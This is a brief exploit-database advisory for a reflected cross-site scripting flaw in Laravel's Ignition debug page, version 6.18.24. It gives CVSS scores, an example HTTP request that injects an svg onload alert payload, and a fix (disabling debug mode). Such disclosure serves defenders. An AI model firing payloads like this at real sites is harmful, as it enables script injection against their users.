laravel - Cross-site Scripting (Reflected)

2020.10.04

Credit: Saud Al3nzi

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-7579

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title:  laravel - Cross-site Scripting (Reflected)
# Exploit Author: saud
# Software Link: https://github.com/laravel/framework/releases
# Version: 6.18.24
# Homepage: https://laravel.com/
# CVE : CVE-2020-7579
# Tested on: Windows 10

Example exploitation request:

-----------------------------------------------------------------------
GET /_ignition/scripts/--%3E%3Csvg%20onload=alert(123)%3E HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
-----------------------------------------------------------------------

Fix :

Disable the debug mode by setting APP DEBUG to false

### [ Contacts: ] ###
[#] Telegram: @x0Saudi
[#] Twitter: @Dmaral3noz

See this note in RAW Version

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laravel - Cross-site Scripting (Reflected)

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